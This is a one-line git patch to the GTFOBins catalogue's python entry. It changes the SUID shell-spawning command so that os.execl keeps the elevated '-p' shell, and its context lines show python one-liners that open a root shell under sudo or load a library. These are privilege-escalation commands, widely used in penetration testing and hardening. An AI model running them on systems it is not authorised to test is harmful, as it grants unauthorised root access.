From f14e511218d503f9090382c9b0d0d91ef2c56c94 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Mon, 8 Oct 2018 20:14:25 +0100 Subject: [PATCH] Fix python SUID --- _gtfobins/python.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_gtfobins/python.md b/_gtfobins/python.md index 1d8987b..a6c622d 100644 --- a/_gtfobins/python.md +++ b/_gtfobins/python.md @@ -44,7 +44,7 @@ functions: library-load: - code: python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' suid: - - code: ./python -c 'import os; os.system("/bin/sh -p")' + - code: ./python -c 'import os; os.execl("/bin/sh", "sh", "-p")' sudo: - code: sudo python -c 'import os; os.system("/bin/sh")' capabilities: